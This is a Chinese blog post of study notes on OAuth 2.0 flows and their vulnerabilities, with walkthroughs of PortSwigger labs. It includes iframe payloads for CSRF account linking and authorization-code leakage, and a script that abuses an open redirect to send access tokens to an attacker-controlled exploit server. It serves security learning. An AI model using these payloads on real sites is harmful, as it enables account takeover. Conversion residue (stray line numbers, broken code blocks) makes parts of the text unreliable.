OAuth2.0认证漏洞

屏幕截图 2025-03-30 003125

前言

这个是属于top10中无效的访问控制中所涉及的,最近在系统重新过一遍top10漏洞,这篇为记录学习的文章。

OAuth2.0简介

OAuth(Open Authorization,开放授权协议)是一种用于授权第三方应用程序访问受保护资源的开放标准协议,它允许用户授权第三方应用程序代表其访问受限资源,而无需将用户名和密码提供给第三方应用,OAuth的设计目标是提供一种安全、标准化的授权机制,使用户能够安全地分享他们在一个服务提供商处存储的资源,同时保护用户的凭证信息,OAuth的核心思想是将授权过程与资源所有者的凭证信息分离开来以提高安全性和用户体验

授权方式/类型

OAuth2.0定义了多种授权方式(grant types),每种方式适用于不同的应用场景和安全需求。以下是OAuth2.0中常见的几种授权方式:

  1. 授权码模式
  2. 隐式授权模式
  3. 密码模式
  4. 客户端凭证模式
  5. 刷新令牌

关联角色

在OAuth 2.0协议中定义了以下四个角色:

  • Client(客户端):客户端是请求访问资源的应用程序,它代表资源所有者向授权服务器请求授权,例如:移动应用、网页应用等
  • Resource Owner(资源所有者):资源所有者是指拥有受保护资源的用户,具备对资源的授权能力,例如:网站的注册用户的个人数据信息等
  • Resource Server(资源服务器):资源服务器是承载受保护资源的服务器,它能够接收使用访问令牌对受保护资源的请求并响应,它与授权服务器可以是同一服务器,也可以是不同服务器
  • Authorization Server(授权服务器):授权服务器主要的主要职责是验证资源所有者的身份并依据资源所有者的许可对第三方应用下发令牌,它充当了资源所有者和客户端之间进行身份验证和授权的中间人

两种常见授权类型

授权码授权类型

1692379528_64dfa988cf43323bad26f

1. 授权请求

客户端应用程序向 OAuth 服务的终端节点发送请求,请求访问特定用户数据的权限。请注意,终端节点映射可能因提供商而异 - 我们的实验室为此目的使用终端节点。但是,您应该始终能够根据请求中使用的参数来识别终端节点。/authorization /auth

1
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1 Host: oauth-authorization-server.com

此请求包含以下值得注意的参数,通常在查询字符串中提供:

  • client_id
    
    1
    2
    3
    4
    5

    包含客户端应用程序的唯一标识符的必需参数。当客户端应用程序向 OAuth 服务注册时,将生成此值。

    - ```
    redirect_uri
    在将授权码发送到客户端应用程序时,用户的浏览器应重定向到的 URI。这也称为 “callback URI” 或 “callback endpoint”。许多 OAuth 攻击都是基于利用此参数验证中的缺陷。
  • response_type
    
    1
    2
    3
    4
    5

    确定客户端应用程序期望的响应类型,从而确定它要启动的流。对于授权码授权类型,该值应为 。`code`

    - ```
    scope
    用于指定客户端应用程序要访问的用户数据子集。请注意,这些范围可能是 OAuth 提供者设置的自定义范围,也可能是 OpenID Connect 规范定义的标准化范围。
  • state
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    存储与客户端应用程序上的当前会话相关联的唯一、不可猜测的值。OAuth 服务应在响应中返回此确切值以及授权代码。此参数用作客户端应用程序的 CSRF 令牌形式,方法是确保对其终端节点的请求来自启动 OAuth 流的同一个人。`/callback`

    ### 2. 用户登录并同意

    当授权服务器收到初始请求时,它会将用户重定向到登录页面,在该页面中,系统将提示他们使用 OAuth 提供者登录其帐户。例如,这通常是他们的社交媒体帐户。

    然后,他们将看到客户端应用程序想要访问的数据列表。这基于授权请求中定义的范围。用户可以选择是否同意此访问权限。

    请务必注意,在用户批准了客户端应用程序的给定范围后,只要用户仍具有与 OAuth 服务的有效会话,此步骤就会自动完成。换句话说,用户第一次选择“使用社交媒体登录”时,他们需要手动登录并表示同意,但如果他们稍后重新访问客户端应用程序,他们通常只需单击一下即可重新登录。

    ### 3. 授权码授予

    如果用户同意请求的访问,则其浏览器将被重定向到授权请求的参数中指定的端点。生成的请求将包含授权代码作为查询参数。根据配置,它还可能发送与授权请求中值相同的参数。`/callback``redirect_uri``GET``state`

    GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1 Host: client-app.com
    1
    2
    3
    4
    5

    ### 4. 访问令牌请求

    客户端应用程序收到授权码后,需要将其交换为访问令牌。为此,它会向 OAuth 服务的终端节点发送服务器到服务器请求。从此以后,所有通信都发生在安全的反向通道中,因此攻击者通常无法观察到或控制。`POST` `/token`

    POST /token HTTP/1.1 Host: oauth-authorization-server.com … client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
    1
    2
    3
    4
    5

    除了 和 authorization 之外,您还会注意到以下新参数:`client_id` `code`

    - ```
    client_secret
    客户端应用程序必须通过包含注册到 OAuth 服务时为其分配的密钥来验证自身。
  • grant_type
    
    1
    2
    3
    4
    5
    6
    7

    用于确保新终端节点知道客户端应用程序想要使用哪种授权类型。在这种情况下,应将其设置为 。`authorization_code`

    ### 5. 访问令牌授予

    OAuth 服务将验证访问令牌请求。如果一切按预期,服务器将通过向客户端应用程序授予具有请求范围的访问令牌来做出响应。

    { "access_token": "z0y9x8w7v6u5", "token_type": "Bearer", "expires_in": 3600, "scope": "openid profile", … }
    1
    2
    3
    4
    5

    ### 6. API 调用

    现在客户端应用程序有了访问代码,它终于可以从资源服务器获取用户的数据了。为此,它会对 OAuth 服务的端点进行 API 调用。在标头中提交访问令牌,以证明客户端应用程序有权访问此数据。`/userinfo` `Authorization: Bearer`

    GET /userinfo HTTP/1.1 Host: oauth-resource-server.com Authorization: Bearer z0y9x8w7v6u5
    1
    2
    3
    4
    5

    ### 7. 资源授权

    资源服务器应验证令牌是否有效,以及它是否属于当前客户端应用程序。如果是这样,它将根据访问令牌的范围发送请求的资源(即用户的数据)来做出响应。

    { "username":"carlos", "email":"carlos@carlos-montoya.net", … }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    客户端应用程序最终可以将此数据用于其预期目的。在 OAuth 身份验证的情况下,它通常用作 ID 来授予用户经过身份验证的会话,从而有效地登录用户。

    ## 隐式授权类型

    ![1692379550_64dfa99e61cec3837e203](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/1692379550_64dfa99e61cec3837e203.png)

    ### 1. 授权请求

    隐式流的启动方式与授权代码流的启动方式大致相同。唯一的主要区别是参数必须设置为 。`response_type``token`

    GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1 Host: oauth-authorization-server.com
    1
    2
    3
    4
    5
    6
    7
    8
    9

    ### 2. 用户登录并同意

    用户登录并决定是否同意请求的权限。此过程与授权代码流完全相同。

    ### 3. 访问令牌授予

    如果用户同意请求的访问权限,这就是事情开始有所不同的地方。OAuth 服务会将用户的浏览器重定向到授权请求中指定的浏览器。但是,它不会发送包含授权代码的查询参数,而是将访问令牌和其他特定于令牌的数据作为 URL 片段发送。`redirect_uri`

    GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1 Host: client-app.com
    1
    2
    3
    4
    5
    6
    7

    由于访问令牌是在 URL 片段中发送的,因此它永远不会直接发送到客户端应用程序。相反,客户端应用程序必须使用合适的脚本来提取片段并存储它。

    ### 4. API 调用

    客户端应用程序从 URL 片段成功提取访问令牌后,即可使用它对 OAuth 服务的端点进行 API 调用。与授权代码流不同,这也是通过浏览器进行的。`/userinfo`

    GET /userinfo HTTP/1.1 Host: oauth-resource-server.com Authorization: Bearer z0y9x8w7v6u5
    1
    2
    3
    4
    5

    ### 5. 资源授权

    资源服务器应验证令牌是否有效,以及它是否属于当前客户端应用程序。如果是这样,它将通过与访问令牌关联的范围发送请求的资源(即用户的数据)来做出响应。

    { "username":"carlos", "email":"carlos@carlos-montoya.net" }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111

    客户端应用程序最终可以将此数据用于其预期目的。在 OAuth 身份验证的情况下,它通常用作 ID 来授予用户经过身份验证的会话,从而有效地登录用户。

    ## 对比

    #### **相同点**

    1. **核心目的**
    - 均为OAuth 2.0的授权流程,用于客户端应用获取访问令牌(Access Token),以访问受保护的用户数据。
    2. **用户参与**
    - 均需用户主动授权(同意访问权限请求),并通过浏览器重定向完成流程的初始交互。
    3. **适用场景**
    - 均适用于第三方应用需要访问用户资源的场景(如登录、数据共享)。

    ------

    #### **不同点**

    | **对比维度** | **授权代码模式(Authorization Code Flow)** | **隐式模式(Implicit Flow)** |
    | :----------------: | :----------------------------------------------------------: | :-----------------------------------------------: |
    | **流程复杂度** | 两步交换:先获取授权码(Code),再用码换取访问令牌。 | 一步完成:直接返回访问令牌,无授权码中间环节。 |
    | **安全性** | 更高。敏感数据(令牌、用户数据)通过安全反向通道传输,避免暴露给浏览器。 | 较低。令牌通过浏览器URL传递,易被截获或泄露。 |
    | **通信通道** | 授权码通过前端传递,令牌通过后端服务器间安全通道交换。 | 所有通信均通过浏览器重定向完成,无后端安全通道。 |
    | **客户端身份验证** | 必须使用`client_secret`(客户端密钥)验证身份。 | 无`client_secret`,依赖前端逻辑验证。 |
    | **适用客户端类型** | 适合有后端的应用(如Web服务器应用)。 | 适合无后端的应用(如单页应用SPA、原生桌面应用)。 |
    | **令牌存储位置** | 令牌存储在后端服务器,避免前端暴露。 | 令牌直接返回给前端,需前端管理。 |
    | **刷新令牌支持** | 支持通过刷新令牌(Refresh Token)更新访问令牌。 | 不支持刷新令牌,需重新授权或静默续订。 |

    ------

    #### **核心结论**

    - **优先使用授权代码模式**:安全性高,适合有后端服务器的应用(如传统Web应用)。
    - **谨慎使用隐式模式**:仅限无法保护`client_secret`的前端应用(如SPA),且需配合短期令牌和PKCE扩展增强安全。

    > **关键安全建议**:隐式模式已被OAuth 2.1废弃,推荐单页应用改用**授权代码模式+PKCE**(Proof Key for Code Exchange)替代,以兼顾安全性与无后端场景的需求。

    # OAuth身份验证漏洞

    ## 漏洞产生

    OAuth2.0规范仅定义了授权流程的框架,参数验证和安全策略是可选的,致使协议设计灵活和模糊。如果开发人员认知或者规范执行不足,未正确处理用户标识(如OpenID)与密码的替代逻辑,导致认证绕过。或者开启高风险模式(隐式授权)。

    ## 漏洞利用

    ## 漏洞修复

    服务端:强制校验`redirect_uri`白名单、绑定`state`参数到会话、启用PKCE(Proof Key for Code Exchange)增强授权码安全性

    客户端:避免隐式授权模式、对用户提交的令牌进行二次验证、限制令牌作用域

    协议层面:优先采用授权码模式(Code Flow),结合OpenID Connect扩展实现标准化身份认证

    # portswigger靶场练习

    ## 隐式授权类型的实现不当

    ![image-20250406110904683](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406110904683.png)

    用题目给出的账号先进行登录

    ![image-20250406110931271](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406110931271.png)

    接着可以感受到有通过转跳第三方平台对邮箱进行验证。

    ![image-20250406111041458](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406111041458.png)

    然后登录成功这个样子

    ![image-20250406111543883](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406111543883.png)

    登录页面是自带了一个_interaction,登录成功后会分配一个session

    ![image-20250406112834035](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406112834035.png)

    接着通过抓包来具体分析,拿登陆成功后的的数据去第三方请求一个token

    ![image-20250406121620201](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406121620201.png)

    服务端的处理

    ![image-20250406120110014](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406120110014.png)

    调用回调逻辑/oauth-callback

    ![image-20250406120658982](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406120658982.png)

    最后是带着token访问第三方`https://oauth-0a4e00d204eb6844806c1025025000c4.oauth-server.net/me`然后获取到email然后再访问authenticate表示登陆成功的。

    然后看到这个302跳转的

    ![屏幕截图 2025-04-06 114613](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202025-04-06%20114613.png)

    修改Email为目标的邮箱就可以

    ![屏幕截图 2025-04-06 114641](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202025-04-06%20114641.png)



    这题应该是省略了第三方Email的登陆。

    ## 有缺陷的 CSRF 保护

    操作了一下午,这题就是CRSF

    把具体逻辑想明白一下就做出来了,头脑清晰是第一位的。

    在使用email登陆时会向第三方请求token,然后Email返回一个code,后面让admin访问这个/oauth-linking第三方那边就返回攻击者的权限,服务器原来的信息就被替代了,再通过第三方邮箱使用攻击者邮箱登陆。

    ![image-20250406201838447](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406201838447.png)

    <iframe src="https://0a9e00d604a89b2480e86c9e00f900e1.web-security-academy.net/oauth-linking?code=60W5red7DlQ0MqIyemxUDbMmkj-jRQiTQ4twQFp1krM"></iframe>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17

    ![image-20250406194244058](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250406194244058.png)

    ## 泄露authorization codes和访问tokens

    得到回调地址

    ![image-20250407080420947](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407080420947.png)

    外带code

    ![image-20250407080251988](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407080251988.png)

    更改code

    ![image-20250407080318419](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407080318419.png)

    <iframe src="oauth-0a36000a04ddd432df27ed8202a800f2.oauth-server.net/auth?client_id=ij3fdt2jm61qvoqf6l9k1&redirect_uri=https://exploit-0a5400110492d4a0dfebee7201a40032.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email"></iframe>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    ![image-20250407080447765](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407080447765.png)

    ## 有缺陷的 redirect_uri 验证(通过开放重定向窃取 OAuth 访问令牌)

    这个是添加白名单后进行得绕过尝试,更多涉及到SSRF绕过白名单的内容。

    ![image-20250407105730396](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407105730396.png)

    来分析一下这个脚本

    ![image-20250407182220420](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407182220420.png)

    这里有一个转跳到下一个文章的逻辑,因为对redirect_url进行了白名单过滤

    <script> if (!document.location.hash) { window.location = 'https://oauth-0a0a007003bb31df80a21f3302a30036.oauth-server.net/auth?client_id=dci2jz64kwrqvbwecvtpr&redirect_uri=https://0a270001035331258016210d000c00fa.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0af5009403c4310e8092204c017e0028.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) } </script>

拿到token了

![image-20250407181023684](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407181023684.png)

这里有请求/me带上token就可以得到api了

![image-20250407181253120](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407181253120.png)

这里就拿到api了

![image-20250407181511197](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407181511197.png)

提交就好了

![image-20250407181535031](https://f1gure-bed.obs.cn-southwest-2.myhuaweicloud.com/image-20250407181535031.png)



参考:

https://portswigger.net/web-security/oauth/grant-types

https://xz.aliyun.com/news/12792?time__1311=eqUxu7Dteiq7qxmqGNDQu4TPkw3AK5qQx&u_atoken=eec8aafc15811239d321aa68c40dfac1&u_asig=1a0c399f17438974117876316e011e

https://www.freebuf.com/articles/web/375464.html

https://fusionauth.io/articles/oauth/differences-between-oauth-2-oauth-2-1